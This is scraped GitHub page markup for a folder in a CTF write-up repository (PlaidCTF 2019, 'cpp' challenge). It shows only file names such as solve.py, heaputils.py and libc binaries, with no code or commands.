octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>8</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>55</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/pr0cf5/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":163533425,"originating_url":"https://github.com/pr0cf5/CTF-writeups/tree/master/2019/pctf-2019/cpp","user_id":null}}" data-hydro-click-hmac="2be970c28fadae9e8d3dd8b4dd25d0fe60ff0df73853ab1a760e68292df08108"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/pr0cf5/CTF-writeups/refs" cache-key="v0:1546109460.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cHIwY2Y1L0NURi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/pr0cf5/CTF-writeups/refs" cache-key="v0:1546109460.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cHIwY2Y1L0NURi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>pctf-2019</span></span><span>/</span>cpp<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>pctf-2019</span></span><span>/</span>cpp<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/pr0cf5/CTF-writeups/tree-commit/5088b35e257cc592e98c94ce63026c3a72b6adcc/2019/pctf-2019/cpp" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/pr0cf5/CTF-writeups/file-list/master/2019/pctf-2019/cpp"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>.gdb_history</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>cpp</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>cpp.i64</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>heaputils.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.27.so</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.27.so</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>local.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer 